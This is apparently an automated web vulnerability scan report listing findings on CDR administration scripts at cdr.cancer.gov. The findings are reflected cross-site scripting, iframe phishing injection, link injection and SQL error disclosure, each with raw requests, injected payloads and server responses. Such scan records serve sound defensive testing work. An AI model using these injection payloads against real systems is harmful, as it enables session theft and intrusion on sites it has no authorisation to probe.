td.odd { font-size: 10pt; background: beige; color: black;
font-fam
...
```

## Issue 7 of 7

## [Information] Application Error

| | |
|---|---|
| Issue: | 75448135 |
| Severity: | Information |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py |
| Parameter: | queryText |
| Risk(s): | It is possible to gather sensitive debugging information |
| Fix: | Verify that parameter values are in their expected ranges and types. Do not output debugging error messages and exceptions |

### Variant 1 of 4

**The following changes were applied to the original request:**

Set the value of the parameter 'queryText' to '%27'

**Reasoning:**

The application has responded with an error message, indicating an undefined state that may expose sensitive information.

**Request/Response:**

```
POST /cgi-bin/cdr/CdrQueries.py HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Content-Length: 64

queryText=%27 &doWhat=createSS&newName=&newQuery=&pageId=0.000001

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:13:05 GMT
Connection: close
Content-Length: 205

<html> <head> <title>CDR query failure</title> </head> <body> <h2>CDR query failure</h2>
<b>Failure executing query: ' Unclosed quotation mark after the character string ''.</b> </body>
</html> <html> <head> <title>CDR query failure</title> </head> <body> <h2>CDR query failure</h2>
<b>Failure executing query: ' Unclosed quotation mark after the character string ''.</b> </body>
</html>
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448119 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(944)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/CheckedOutDocs.py? Session=None'/><script>alert(944)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:58:39 GMT
Connection: close
Content-Length: 2104

...
in Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Checked Out Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(944) </script>'>
<B>User: </B>
<INPUT NAME='User'>
</FORM>
</BODY>
</HTML>

...
in Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Checked Out Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(944) </script>'>
<B>User: </B>
<INPUT NAME='User'>
</FORM>
```

```
        </BODY>
        </HTML>
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448054 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D940+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CheckedOutDocs.py? Session=None%27%22%3E%3Ciframe+id%3D940+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:58:38 GMT
Connection: close
Content-Length: 2135

...
LUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Checked Out Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=940 src= http://demo.testfire.net/phishing.html > '>
<B>User: </B>
<INPUT NAME='User'>
</FORM>
</BODY>
</HTML>

...
LUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Checked Out Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=940 src= http://demo.testfire.net/phishing.html > '>
<B>User: </B>
<INPUT NAME='User'>
</FORM>
</BODY>
```

```
</HTML>
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448075 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF941.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CheckedOutDocs.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF941.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:58:38 GMT
Connection: close
Content-Length: 2101

...
' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Checked Out Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE=''"> <IMG SRC="/WF_XSRF941.html"> '>
<B>User: </B>
<INPUT NAME='User'>
</FORM>
</BODY>
</HTML>

...
' VALUE='Admin Menu'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Checked Out Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE=''"> <IMG SRC="/WF_XSRF941.html"> '>
<B>User: </B>
<INPUT NAME='User'>
</FORM>
</BODY>
</HTML>
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448241 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CheckedOutDocs.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/CheckedOutDocs.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:41 GMT
Connection: close
Content-Length: 2074

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Report on Checked Out Documents</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { co
...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448304 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CheckedOutDocs.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:57 GMT
Connection: close
Content-Length: 2074

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Report on Checked Out Documents</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { co
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py - 6 issue(s)

### Issue 1 of 6

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448273 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 15

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1180)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/CheckUrls.py? Session=None'/><script>alert(1180)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:04:45 GMT
Connection: close
Content-Length: 5031

...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> URL Check<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1180) </script>'>

<fieldset>
<p>
This report requires a while to complete.
When the report processing has completed, email notification
will be sent to the addresses specified below. At least
one email address must be provided. If more than one
address is specified, se
...
...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> URL Check<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1180) </script>'>
```

```
        <fieldset>
        <p>
        This report requires a while to complete.
        When the report processing has completed, email notification
        will be sent to the addresses specified below. At least
        one email address must be provided. If more than one
        address is specified, se
        ...
```

## Issue 2 of 6

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448121 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1176+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CheckUrls.py? Session=None%27%22%3E%3Ciframe+id%3D1176+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:04:42 GMT
Connection: close
Content-Length: 5267


...
NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> URL Check<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1176 src= http://demo.testfire.net/phishing.html > >'>

<fieldset>
<p>
This report requires a while to complete.
When the report processing has completed, email notification
will be sent to the addresses specified below. At least
one email address must be provided. If more than one
address is sp
...
...
<option value='Organization'>Organization</option>

</select>
<br>
</div>
<div style="margin-left:80px;">
</div>
<br><br>
<b>Email address(es):   </b>
<br>
<INPUT Name='Email' Size='42' value='Error selecting email for session: None'"> <iframe id=1176 src =http://demo.testfire.net/phishing.htm l> > - The identifier that starts with '> <iframe id=1176 sr c=http://demo.testfire.net/phishing.ht ml> >'
AND ended IS NULL
```

```
AND expired IS NUL' is too long. Maximum length is 128.'>

</fieldset>
<fieldset>
<legend> Select for Summary or Glossary </legend>
<div>
<div style="float: left; width: 80px;">
<b>Au
...
...
NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> URL Check<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1176 src= http://demo.testfire.net/phishing.html > >'>

<fieldset>
<p>
This report requires a while to complete.
When the report processing has completed, email notification
will be sent to the addresses specified below. At least
one email address must be provided. If more than one
address is sp
...
...
<option value='Organization'>Organization</option>

</select>
<br>
</div>
<div style="margin-left:80px;">
</div>
<br><br>
<b>Email address(es):   </b>
<br>
<INPUT Name='Email' Size='42' value='Error selecting email for session: None'"> <iframe id=1176 src =http://demo.testfire.net/phishing.htm l> > - The identifier that starts with '> <iframe id=1176 sr c=http://demo.testfire.net/phishing.ht ml> >'
AND ended IS NULL
AND expired IS NUL' is too long. Maximum length is 128.'>

</fieldset>
<fieldset>
<legend> Select for Summary or Glossary </legend>
<div>
<div style="float: left; width: 80px;">
<b>Au
...
```

## Issue 3 of 6

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448212 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1177.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CheckUrls.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1177.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:04:43 GMT
Connection: close
Content-Length: 5025


...
mit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> URL Check<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1177.html"> '>

<fieldset>
<p>
This report requires a while to complete.
When the report processing has completed, email notification
will be sent to the addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate th
...
...
<option value='Organization'>Organization</option>

</select>
<br>
</div>
<div style="margin-left:80px;">
</div>
<br><br>
<b>Email address(es):   </b>
<br>
<INPUT Name='Email' Size='42' value='Error selecting email for session: "'> <IMG
SRC="/WF_XSRF1177.html"> - Incorrect syntax near '>'.'>

</fieldset>
<fieldset>
```

```
<legend> Select for Summary or Glossary </legend>
<div>
<div style="float: left; width: 80px;">
<b>Audience: </b>
</div>
<div style="float: left; margin-left: 10px;">
<select name=
...
...
mit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> URL Check<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1177.html"> '>

<fieldset>
<p>
This report requires a while to complete.
When the report processing has completed, email notification
will be sent to the addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate th
...
...
<option value='Organization'>Organization</option>

</select>
<br>
</div>
<div style="margin-left:80px;">
</div>
<br><br>
<b>Email address(es):   </b>
<br>
<INPUT Name='Email' Size='42' value='Error selecting email for session: "'> <IMG
SRC="/WF_XSRF1177.html"> - Incorrect syntax near '>'.'>

</fieldset>
<fieldset>
<legend> Select for Summary or Glossary </legend>
<div>
<div style="float: left; width: 80px;">
<b>Audience: </b>
</div>
<div style="float: left; margin-left: 10px;">
<select name=
...
```

## Issue 4 of 6

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448228 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CheckUrls.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:16 GMT
Connection: close
Content-Length: 4947

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 6

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448244 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CheckUrls.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/CheckUrls.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:03:58 GMT
Connection: close
Content-Length: 4947

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 6 of 6

## [Low] Database Error Pattern Found

| | |
|---|---|
| Issue: | 75448300 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py |
| Parameter: | Session |
| Risk(s): | It is possible to view, modify or delete database entries and tables |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to 'NoneWFXSSProbe%27%22%29%2F%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the response contains SQL Server errors.
This suggests that the test managed to penetrate the application and reach the SQL query itself,
by injecting hazardous characters.
```

**Request/Response:**

```
GET /cgi-bin/cdr/CheckUrls.py? Session=NoneWFXSSProbe%27%22%29%2F%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:04:39 GMT
Connection: close
Content-Length: 5101

...
Organization'>Organization</option>

</select>
<br>
</div>
<div style="margin-left:80px;">
</div>
<br><br>
<b>Email address(es):   </b>
<br>
<INPUT Name='Email' Size='42' value='Error selecting email for session: NoneWFXSSProbe'")/> - Uncl
osed quot atio n mark afte r the char acte r stri ng ')/>'
AND ended IS NULL
AND expired IS NULL'.'>

</fieldset>
<fieldset>
<legend> Select for Summary or Glossary </legend>
<div>
<div style="float: left; width: 80px;">
<b>Audience: </b>
</div>
<div style="float
...
...
Organization'>Organization</option>

</select>
<br>
</div>
<div style="margin-left:80px;">
</div>
<br><br>
<b>Email address(es):   </b>
<br>
<INPUT Name='Email' Size='42' value='Error selecting email for session: NoneWFXSSProbe'")/> - Uncl
osed quot atio n mark afte r the char acte r stri ng ')/>'
AND ended IS NULL
AND expired IS NULL'.'>
```

```
        </fieldset>
        <fieldset>
        <legend>&amp;nbsp;Select for Summary or Glossary&amp;nbsp;</legend>
        <div>
        <div style="float: left; width: 80px;">
        <b>Audience: </b>
        </div>
        <div style="float
        ...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448251 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 21

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(789)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/CitationReports.py? Session=None'/><script>alert(789)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:52:34 GMT
Connection: close
Content-Length: 2908

...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Citation Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(789) </script>'>
<H3>QC Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=None'/><script>alert(789)</script>'>Citation QC
Report</LI></A>
</OL>
<H3>Other Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/UnverifiedCitations.py?Session=None'/><script>alert(789)</script
...
...
VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Citation Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(789) </script>'>
```

```
        <H3>QC Reports</H3>
        <OL>
        <LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=None'/><script>alert(789)</script>'>Citation QC
        Report</LI></A>
        </OL>
        <H3>Other Reports</H3>
        <OL>
        <LI><A HREF='/cgi-bin/cdr/UnverifiedCitations.py?Session=None'/><script>alert(789)</script
        ...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448122 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

